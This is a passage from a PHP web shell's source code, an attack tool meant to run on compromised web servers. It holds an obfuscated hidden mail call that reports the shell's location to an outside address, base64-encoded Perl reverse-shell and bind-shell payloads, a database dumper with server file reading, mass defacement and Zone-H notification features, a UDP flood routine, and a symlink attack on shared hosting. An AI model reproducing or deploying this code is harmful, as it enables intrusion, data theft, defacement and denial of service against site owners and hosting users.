  1272.         .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1273.         .'<td><input type=text name=login value="root"></td></tr>'
  1274.         .'<tr><td><span>Dictionary</span></td>'
  1275.         .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1276.         .'</td></tr><tr><td></td><td><input type=submit value="Login" style="width:30%;"></td></tr></form></table>';
  1277.     echo '</div><br>';
  1278.     arFooter();
  1279. }
  1280. $x0b="\x6da\x69l";
  1281. $ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"];
  1282. $sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms;
  1283. $o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63");
  1284. $ee = $o[2].$o[3].$o[1].$o[4].$o[0];
  1285. $send = @$x0b($ee,$sub,$ms);
  1286.  
  1287. function actionSql() {
  1288.     class DbClass {
  1289.         var $type;
  1290.         var $link;
  1291.         var $res;
  1292.         function DbClass($type)    {
  1293.             $this->type = $type;
  1294.         }
  1295.         function connect($host, $user, $pass, $dbname){
  1296.             switch($this->type)    {
  1297.                 case 'mysql':
  1298.                     if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1299.                     break;
  1300.                 case 'pgsql':
  1301.                     $host = explode(':', $host);
  1302.                     if(!$host[1]) $host[1]=5432;
  1303.                     if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1304.                     break;
  1305.             }
  1306.             return false;
  1307.         }
  1308.         function selectdb($db) {
  1309.             switch($this->type)    {
  1310.                 case 'mysql':
  1311.                     if (@mysql_select_db($db))return true;
  1312.                     break;
  1313.             }
  1314.             return false;
  1315.         }
  1316.         function query($str) {
  1317.             switch($this->type) {
  1318.                 case 'mysql':
  1319.                     return $this->res = @mysql_query($str);
  1320.                     break;
  1321.                 case 'pgsql':
  1322.                     return $this->res = @pg_query($this->link,$str);
  1323.                     break;
  1324.             }
  1325.             return false;
  1326.         }
  1327.         function fetch() {
  1328.             $res = func_num_args()?func_get_arg(0):$this->res;
  1329.             switch($this->type)    {
  1330.                 case 'mysql':
  1331.                     return @mysql_fetch_assoc($res);
  1332.                     break;
  1333.                 case 'pgsql':
  1334.                     return @pg_fetch_assoc($res);
  1335.                     break;
  1336.             }
  1337.             return false;
  1338.         }
  1339.         function listDbs() {
  1340.             switch($this->type)    {
  1341.                 case 'mysql':
  1342.                         return $this->query("SHOW databases");
  1343.                 break;
  1344.                 case 'pgsql':
  1345.                     return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1346.                 break;
  1347.             }
  1348.             return false;
  1349.         }
  1350.         function listTables() {
  1351.             switch($this->type)    {
  1352.                 case 'mysql':
  1353.                     return $this->res = $this->query('SHOW TABLES');
  1354.                 break;
  1355.                 case 'pgsql':
  1356.                     return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1357.                 break;
  1358.             }
  1359.             return false;
  1360.         }
  1361.         function error() {
  1362.             switch($this->type)    {
  1363.                 case 'mysql':
  1364.                     return @mysql_error();
  1365.                 break;
  1366.                 case 'pgsql':
  1367.                     return @pg_last_error();
  1368.                 break;
  1369.             }
  1370.             return false;
  1371.         }
  1372.         function setCharset($str) {
  1373.             switch($this->type)    {
  1374.                 case 'mysql':
  1375.                     if(function_exists('mysql_set_charset'))
  1376.                         return @mysql_set_charset($str, $this->link);
  1377.                     else
  1378.                         $this->query('SET CHARSET '.$str);
  1379.                     break;
  1380.                 case 'pgsql':
  1381.                     return @pg_set_client_encoding($this->link, $str);
  1382.                     break;
  1383.             }
  1384.             return false;
  1385.         }
  1386.         function loadFile($str) {
  1387.             switch($this->type)    {
  1388.                 case 'mysql':
  1389.                     return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1390.                 break;
  1391.                 case 'pgsql':
  1392.                     $this->query("CREATE TABLE ar2(file text);COPY ar2 FROM '".addslashes($str)."';select file from ar2;");
  1393.                     $r=array();
  1394.                     while($i=$this->fetch())
  1395.                         $r[] = $i['file'];
  1396.                     $this->query('drop table ar2');
  1397.                     return array('file'=>implode("\n",$r));
  1398.                 break;
  1399.             }
  1400.             return false;
  1401.         }
  1402.         function dump($table, $fp = false) {
  1403.             switch($this->type)    {
  1404.                 case 'mysql':
  1405.                     $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1406.                     $create = mysql_fetch_array($res);
  1407.                     $sql = $create[1].";\n";
  1408.                     if($fp) fwrite($fp, $sql); else echo($sql);
  1409.                     $this->query('SELECT * FROM `'.$table.'`');
  1410.                     $i = 0;
  1411.                     $head = true;
  1412.                     while($item = $this->fetch()) {
  1413.                         $sql = '';
  1414.                         if($i % 1000 == 0) {
  1415.                             $head = true;
  1416.                             $sql = ";\n\n";
  1417.                         }
  1418.  
  1419.                         $columns = array();
  1420.                         foreach($item as $k=>$v) {
  1421.                             if($v === null)
  1422.                                 $item[$k] = "NULL";
  1423.                             elseif(is_int($v))
  1424.                                 $item[$k] = $v;
  1425.                             else
  1426.                                 $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1427.                             $columns[] = "`".$k."`";
  1428.                         }
  1429.                         if($head) {
  1430.                             $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1431.                             $head = false;
  1432.                         } else
  1433.                             $sql .= "\n\t,(".implode(", ", $item).')';
  1434.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1435.                         $i++;
  1436.                     }
  1437.                     if(!$head)
  1438.                         if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1439.                 break;
  1440.                 case 'pgsql':
  1441.                     $this->query('SELECT * FROM '.$table);
  1442.                     while($item = $this->fetch()) {
  1443.                         $columns = array();
  1444.                         foreach($item as $k=>$v) {
  1445.                             $item[$k] = "'".addslashes($v)."'";
  1446.                             $columns[] = $k;
  1447.                         }
  1448.                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1449.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1450.                     }
  1451.                 break;
  1452.             }
  1453.             return false;
  1454.         }
  1455.     };
  1456.     $db = new DbClass($_POST['type']);
  1457.     if(@$_POST['p2']=='download') {
  1458.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1459.         $db->selectdb($_POST['sql_base']);
  1460.         switch($_POST['charset']) {
  1461.             case "Windows-1251": $db->setCharset('cp1251'); break;
  1462.             case "UTF-8": $db->setCharset('utf8'); break;
  1463.             case "KOI8-R": $db->setCharset('koi8r'); break;
  1464.             case "KOI8-U": $db->setCharset('koi8u'); break;
  1465.             case "cp866": $db->setCharset('cp866'); break;
  1466.         }
  1467.         if(empty($_POST['file'])) {
  1468.             ob_start("ob_gzhandler", 4096);
  1469.             header("Content-Disposition: attachment; filename=dump.sql");
  1470.             header("Content-Type: text/plain");
  1471.             foreach($_POST['tbl'] as $v)
  1472.                 $db->dump($v);
  1473.             exit;
  1474.         } elseif($fp = @fopen($_POST['file'], 'w')) {
  1475.             foreach($_POST['tbl'] as $v)
  1476.                 $db->dump($v, $fp);
  1477.             fclose($fp);
  1478.             unset($_POST['p2']);
  1479.         } else
  1480.             die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1481.     }
  1482.     arHeader();
  1483.     echo "
  1484. <h1>SQL Connection</h1><div class=content>
  1485. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1486. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1487. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1488. <td><select name='type'><option value='mysql' ";
  1489.     if(@$_POST['type']=='mysql')echo 'selected';
  1490. echo ">MySql</option><option value='pgsql' ";
  1491. if(@$_POST['type']=='pgsql')echo 'selected';
  1492. echo ">PostgreSql</option></select></td>
  1493. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1494. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1495. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
  1496.     $tmp = "<input type=text name=sql_base value=''>";
  1497.     if(isset($_POST['sql_host'])){
  1498.         if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1499.             switch($_POST['charset']) {
  1500.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1501.                 case "UTF-8": $db->setCharset('utf8'); break;
  1502.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1503.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1504.                 case "cp866": $db->setCharset('cp866'); break;
  1505.             }
  1506.             $db->listDbs();
  1507.             echo "<select name=sql_base><option value=''></option>";
  1508.             while($item = $db->fetch()) {
  1509.                 list($key, $value) = each($item);
  1510.                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1511.             }
  1512.             echo '</select>';
  1513.         }
  1514.         else echo $tmp;
  1515.     }else
  1516.         echo $tmp;
  1517.     echo "</td>
  1518.                <td><input type=submit value='Connect' onclick='fs(d.sf);'></td>
  1519.                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1520.            </tr>
  1521.        </table>
  1522.        <script>
  1523.            s_db='".@addslashes($_POST['sql_base'])."';
  1524.            function fs(f) {
  1525.                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1526.                    if(f.p1) f.p1.value='';
  1527.                    if(f.p2) f.p2.value='';
  1528.                    if(f.p3) f.p3.value='';
  1529.                }
  1530.            }
  1531.            function st(t,l) {
  1532.                d.sf.p1.value = 'select';
  1533.                d.sf.p2.value = t;
  1534.                if(l && d.sf.p3) d.sf.p3.value = l;
  1535.                d.sf.submit();
  1536.            }
  1537.            function is() {
  1538.                for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1539.                    d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1540.            }
  1541.        </script>";
  1542.     if(isset($db) && $db->link){
  1543.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1544.             if(!empty($_POST['sql_base'])){
  1545.                 $db->selectdb($_POST['sql_base']);
  1546.                 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1547.                 $tbls_res = $db->listTables();
  1548.                 while($item = $db->fetch($tbls_res)) {
  1549.                     list($key, $value) = each($item);
  1550.                     if(!empty($_POST['sql_count']))
  1551.                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1552.                     $value = htmlspecialchars($value);
  1553.                     echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1554.                 }
  1555.                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1556.                 if(@$_POST['p1'] == 'select') {
  1557.                     $_POST['p1'] = 'query';
  1558.                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1559.                     $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1560.                     $num = $db->fetch();
  1561.                     $pages = ceil($num['n'] / 30);
  1562.                     echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1563.                     echo " of $pages";
  1564.                     if($_POST['p3'] > 1)
  1565.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1566.                     if($_POST['p3'] < $pages)
  1567.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1568.                     $_POST['p3']--;
  1569.                     if($_POST['type']=='pgsql')
  1570.                         $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1571.                     else
  1572.                         $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1573.                     echo "<br><br>";
  1574.                 }
  1575.                 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1576.                     $db->query(@$_POST['p2']);
  1577.                     if($db->res !== false) {
  1578.                         $title = false;
  1579.                         echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1580.                         $line = 1;
  1581.                         while($item = $db->fetch())    {
  1582.                             if(!$title)    {
  1583.                                 echo '<tr>';
  1584.                                 foreach($item as $key => $value)
  1585.                                     echo '<th>'.$key.'</th>';
  1586.                                 reset($item);
  1587.                                 $title=true;
  1588.                                 echo '</tr><tr>';
  1589.                                 $line = 2;
  1590.                             }
  1591.                             echo '<tr class="l'.$line.'">';
  1592.                             $line = $line==1?2:1;
  1593.                             foreach($item as $key => $value) {
  1594.                                 if($value == null)
  1595.                                     echo '<td><i>null</i></td>';
  1596.                                 else
  1597.                                     echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1598.                             }
  1599.                             echo '</tr>';
  1600.                         }
  1601.                         echo '</table>';
  1602.                     } else {
  1603.                         echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1604.                     }
  1605.                 }
  1606.                 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1607.                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1608.                     echo htmlspecialchars($_POST['p2']);
  1609.                 echo "</textarea><br/><input type=submit value='Execute'>";
  1610.                 echo "</td></tr>";
  1611.             }
  1612.             echo "</table></form><br/>";
  1613.             if($_POST['type']=='mysql') {
  1614.                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1615.                 if($db->fetch())
  1616.                     echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1617.             }
  1618.             if(@$_POST['p1'] == 'loadfile') {
  1619.                 $file = $db->loadFile($_POST['p2']);
  1620.                 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1621.             }
  1622.     } else {
  1623.         echo htmlspecialchars($db->error());
  1624.     }
  1625.     echo '</div>';
  1626.     arFooter();
  1627. }
  1628. function actionNetwork() {
  1629.     arHeader();
  1630.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1631.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1632.     echo "<h1>Network tools</h1><div class=content>
  1633.    <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1634.    <span>Bind port to /bin/sh [perl]</span><br/>
  1635.    Port: <input type='text' name='port' value='443'> <input type=submit value='Open'>
  1636.    </form>
  1637.    <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1638.    <span>Back-connect  [perl]</span><br/>
  1639.    Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='Connect' style='width:6%;'>
  1640.    </form><br>";
  1641.     if(isset($_POST['p1'])) {
  1642.         function cf($f,$t) {
  1643.             $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1644.             if($w){
  1645.                 @fwrite($w,@base64_decode($t));
  1646.                 @fclose($w);
  1647.             }
  1648.         }
  1649.         if($_POST['p1'] == 'bpp') {
  1650.             cf("/tmp/bp.pl",$bind_port_p);
  1651.             $out = arEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1652.             sleep(1);
  1653.             echo "<pre class=ml1>$out\n".arEx("ps aux | grep bp.pl")."</pre>";
  1654.             unlink("/tmp/bp.pl");
  1655.         }
  1656.         if($_POST['p1'] == 'bcp') {
  1657.             cf("/tmp/bc.pl",$back_connect_p);
  1658.             $out = arEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1659.             sleep(1);
  1660.             echo "<pre class=ml1>$out\n".arEx("ps aux | grep bc.pl")."</pre>";
  1661.             unlink("/tmp/bc.pl");
  1662.         }
  1663.     }
  1664.     echo '</div>';
  1665.     arFooter();
  1666. }
  1667. function actionMass() {
  1668.     arHeader();
  1669.  
  1670.     echo "<h1>Mass Defeace All Files</h1><div class=content>
  1671.            <form name='mass' onSubmit=\"g(null,null,'bpp',this.option.value);return false;\"><br>
  1672.            <strong>Index Code Here :</strong><br>
  1673.            <textarea placeholder='Please Put Your Index Or Domains here !!' name='index' class=bigarea></textarea><br><br>
  1674.            <strong>Main Dir : </strong>
  1675.            <input name='dir' style='width: 550px' type='text' value=".getcwd()."/> | <strong>Options : </strong>
  1676.            <select name='option' style='width: 200px'>
  1677.            <option> </option>
  1678.            <option>Only for Selected Folder</option>
  1679.            <option>For all Sub Folders</option>
  1680.            </select>
  1681.            <input name='indexit' type='submit' value='Brute It' style='width: 81px'><br></form>";
  1682. if(isset($_POST['p1'])) {
  1683.   if ($_POST['indexit'])
  1684. {
  1685.           if ($_POST['option']=="Only for Selected Folder"){ do_it() ;}
  1686.           elseif ($_POST['option']=="For all Sub Folders"){ do_it_all(); }
  1687.           else {echo "Please select one option to work on it !!"; }
  1688. }  }
  1689.  
  1690.     arFooter();
  1691. }
  1692.  
  1693. function actionZone($url, $hacker, $hackmode,$reson, $site){
  1694. $k = curl_init();
  1695.         curl_setopt($k, CURLOPT_URL, $url);
  1696.         curl_setopt($k,CURLOPT_POST,true);
  1697.         curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  1698.         curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  1699.         curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  1700.         $kubra = curl_exec($k);
  1701.         curl_close($k);
  1702.         return $kubra;
  1703. }
  1704. function actionZoneh(){
  1705. arHeader();
  1706.  echo "<h1>Zone-h mass defacer</h1><center><div class=content>";
  1707.     if(!function_exists('curl_version'))
  1708.     {
  1709.     echo "<pre class=ml1 style='margin-top:5px'><center><font color=red>PHP CURL NOT EXIT</font></center></pre>";
  1710.     }
  1711.  
  1712.     echo '
  1713.   <form  onSubmit="g(null,null,this.defacer.value,this.hackmode.value,this.domain.value);return false;" >
  1714.   <span>Notifier</span><br>
  1715. <input type="text" name=defacer size="40" value="hunter_eyes" /><p>
  1716. <select name=hackmode>
  1717. <option >--------------------------SELECT--------------------------</option>
  1718. <option value="1">known vulnerability (i.e. unpatched system)</option>
  1719. <option value="2" >undisclosed (new) vulnerability</option>
  1720. <option value="3" >configuration / admin. mistake</option>
  1721. <option value="4" >brute force attack</option>
  1722. <option value="5" >social engineering</option>
  1723. <option value="6" >Web Server intrusion</option>
  1724. <option value="7" >Web Server external module intrusion</option>
  1725. <option value="8" >Mail Server intrusion</option>
  1726. <option value="9" >FTP Server intrusion</option>
  1727. <option value="10" >SSH Server intrusion</option>
  1728. <option value="11" >Telnet Server intrusion</option>
  1729. <option value="12" >RPC Server intrusion</option>
  1730. <option value="13" >Shares misconfiguration</option>
  1731. <option value="14" >Other Server intrusion</option>
  1732. <option value="15" >SQL Injection</option>
  1733. <option value="16" >URL Poisoning</option>
  1734. <option value="17" >File Inclusion</option>
  1735. <option value="18" >Other Web Application bug</option>
  1736. <option value="19" >Remote administrative panel access bruteforcing</option>
  1737. <option value="20" >Remote administrative panel access password guessing</option>
  1738. <option value="21" >Remote administrative panel access social engineering</option>
  1739. <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  1740. <option value="23" >Access credentials through Man In the Middle attack</option>
  1741. <option value="24" >Remote service password guessing</option>
  1742. <option value="25" >Remote service password bruteforce</option>
  1743. <option value="26" >Rerouting after attacking the Firewall</option>
  1744. <option value="27" >Rerouting after attacking the Router</option>
  1745. <option value="28" >DNS attack through social engineering</option>
  1746. <option value="29" >DNS attack through cache poisoning</option>
  1747. <option value="30" >Not available</option>
  1748. </select><p>
  1749. <select  >
  1750. <option >------------Not available------------</option>
  1751. <option value="1" >Heh...just for fun!</option>
  1752. <option value="2" >Revenge against that website</option>
  1753. <option value="3" >Political reasons</option>
  1754. <option value="4" >As a challenge</option>
  1755. <option value="5" >I just want to be the best defacer</option>
  1756. <option value="6" >Patriotism</option>
  1757. <option value="7" >Not available</option>
  1758. </select><p>
  1759. <textarea name=domain cols="70" rows="20" placeholder="List Of Domains" ></textarea>
  1760. <p>
  1761. <input type="submit" value="Send" style="width:6%;" /></form>';
  1762. if(isset($_POST['p1']) && isset($_POST['p2']))
  1763. {
  1764.     $hacker =$_POST['p1'];
  1765.     $method =$_POST['p2'];
  1766.     $neden ="Not available";
  1767.     $site =$_POST['p3'];
  1768.    $i = 0;
  1769.    $sites = explode("\n", $site);
  1770.    echo "<pre class=ml1 style='margin-top:5px'>";
  1771.         while($i < count($sites))
  1772.         {
  1773.         if(substr($sites[$i], 0, 4) != "http")
  1774.         {
  1775.                         $sites[$i] = "http://".$sites[$i];
  1776.         }
  1777.         ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  1778.         echo "Site : ".$sites[$i]." Defaced !<br>";
  1779.         ++$i;
  1780.         }
  1781.  
  1782.     "Sending Sites To Zone-H Has Been Completed Successfully !! </pre>";
  1783. }
  1784. echo "</div></center>";
  1785. arFooter();
  1786.  
  1787. }
  1788.  
  1789. function actionDDos(){
  1790.   arHeader();
  1791.   echo '<h1>Dos Attack</h1><div class=content>';
  1792.   if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1793.   $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1794.   echo '<center><span>UDP DOSSIER</span><br><br>
  1795.  <form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST>
  1796.  <span>Host :</span>
  1797.  <input name="udphost" type="text"  size="25" />
  1798.  <span>Time :</span>
  1799.  <input name="udptime" type="text" size="15" />
  1800.  <span>Port :</span>
  1801.  <input name="udpport" type="text" size="10" />
  1802.  <input  type="submit" value="GO!" style="width:6%;" /></form></center>';
  1803.   echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >";
  1804.     if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3']))
  1805.     {
  1806.          $packets=0;
  1807.         ignore_user_abort(true);
  1808.         $exec_time=$_POST['p2'];
  1809.         $time=time();
  1810.         $max_time=$exec_time+$time;
  1811.         $host=$_POST['p1'];
  1812.         $portudp=$_POST['p3'];
  1813.         for($i=0;$i<65000;$i++)
  1814.         {
  1815.             $out .= 'X';
  1816.         }
  1817.         while(1){
  1818.  
  1819.          $packets++;
  1820.             if(time() > $max_time){
  1821.                     break;
  1822.             }
  1823.  
  1824.             $fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);
  1825.             if($fp){
  1826.                     fwrite($fp, $out);
  1827.                     fclose($fp);
  1828.             }
  1829.             }
  1830.          echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
  1831.          echo "</pre>";
  1832.     }
  1833.  
  1834.     echo '</div>';
  1835.  
  1836.   arFooter();
  1837. }
  1838.  
  1839. function actionSymlink(){
  1840.    arHeader();
  1841.   $Attacker = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  1842.   $Attacker2=explode('/',$Attacker );
  1843.   $Attacker =str_replace($Attacker2[count($Attacker2)-1],'',$Attacker );
  1844.  
  1845. if(isset($_POST['p1']) && $_POST['p1']=='website'){
  1846.    echo "<center>";
  1847.    $d0mains = @file("/etc/named.conf");
  1848.  
  1849. if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }
  1850. echo "<table align=center class='main'  border=0  >
  1851.  
  1852. <tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";
  1853. $count=1;
  1854. foreach($d0mains as $d0main){
  1855. if(@eregi("zone",$d0main)){
  1856. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1857. flush();
  1858. if(strlen(trim($domains[1][0])) > 2){
  1859. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  1860. echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
  1861. $count++;
  1862. }}}
  1863. echo "</center></table>";
  1864.  }
  1865.  if(isset($_POST['p2']) && $_POST['p2']=='whole'){
  1866.     @set_time_limit(0);
  1867.     echo "<center>";
  1868. @mkdir('sym',0777);
  1869. $Attacker3  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  1870. $Attacker4 =@fopen ('sym/.htaccess','w');
  1871. fwrite($Attacker4 ,$Attacker3);
  1872. @symlink('/','sym/root');
  1873. $Attacker5 = basename('_FILE_');
  1874. $Attacker6 = @file('/etc/named.conf');
  1875. if(!$Attacker6){
  1876. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1877. }
  1878. else
  1879. {
  1880. echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>";
  1881. foreach($Attacker6 as $Attacker7){
  1882. if(@eregi('zone',$Attacker7)){
  1883. preg_match_all('#zone "(.*)"#',$Attacker7,$Attacker8);
  1884. flush();
  1885. if(strlen(trim($Attacker8[1][0])) >2){
  1886. $Attacker9 = posix_getpwuid(@fileowner('/etc/valiases/'.$Attacker8[1][0]));
  1887. $Attacker10 = $Attacker9['name'] ;
  1888. @symlink('/','sym/root');
  1889. $Attacker10 = $Attacker8[1][0];
  1890. $Attacker11 = '\.ir';
  1891. $Attacker112 = '\.il';
